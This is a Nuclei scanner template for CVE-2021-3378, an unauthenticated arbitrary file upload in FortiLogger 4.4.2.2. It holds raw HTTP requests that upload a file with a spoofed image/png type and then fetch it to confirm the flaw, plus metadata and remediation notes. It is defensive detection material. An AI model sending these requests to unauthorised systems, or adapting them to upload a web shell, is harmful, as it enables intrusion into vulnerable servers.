71 lines
2.3 KiB
YAML
71 lines
2.3 KiB
YAML
id: CVE-2021-3378
|
|
|
|
info:
|
|
name: FortiLogger 4.4.2.2 - Arbitrary File Upload
|
|
author: dwisiswant0
|
|
severity: critical
|
|
description: |
|
|
FortiLogger 4.4.2.2 is affected by arbitrary file upload issues. Attackers can send a "Content-Type: image/png" header to Config/SaveUploadedHotspotLogoFile and then Assets/temp/hotspot/img/logohotspot.asp.
|
|
remediation: |
|
|
Apply the latest security patch or upgrade to a patched version of FortiLogger to mitigate this vulnerability.
|
|
reference:
|
|
- https://erberkan.github.io/2021/cve-2021-3378/
|
|
- https://github.com/erberkan/fortilogger_arbitrary_fileupload
|
|
- http://packetstormsecurity.com/files/161601/FortiLogger-4.4.2.2-Arbitrary-File-Upload.html
|
|
- http://packetstormsecurity.com/files/161974/FortiLogger-Arbitrary-File-Upload.html
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2021-3378
|
|
cwe-id: CWE-434
|
|
epss-score: 0.18935
|
|
epss-percentile: 0.95661
|
|
cpe: cpe:2.3:a:fortilogger:fortilogger:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: fortilogger
|
|
product: fortilogger
|
|
tags: fortilogger,fortigate,fortinet,packetstorm,cve,cve2021,fileupload,intrusive
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /Config/SaveUploadedHotspotLogoFile HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySHHbUsfCoxlX1bpS
|
|
Accept: application/json
|
|
Referer: {{BaseURL}}
|
|
Connection: close
|
|
X-Requested-With: XMLHttpRequest
|
|
|
|
------WebKitFormBoundarySHHbUsfCoxlX1bpS
|
|
Content-Disposition: form-data; name="file"; filename="poc.txt"
|
|
Content-Type: image/png
|
|
|
|
{{randstr}}
|
|
|
|
------WebKitFormBoundarySHHbUsfCoxlX1bpS
|
|
- |
|
|
GET /Assets/temp/hotspot/img/logohotspot.txt HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body_2
|
|
words:
|
|
- "{{randstr}}"
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/plain"
|
|
- "ASP.NET"
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4a0a0047304502204631b5a5b866bf81ffacb541bb41d0b723cd974778e57c9df2ecff0d126ee4330221008303208cb959743c0017dcf87aabc7fc73b69d4a1630901c6cb1de21036d92f9:922c64590222798bb761d5b6d8e72950
|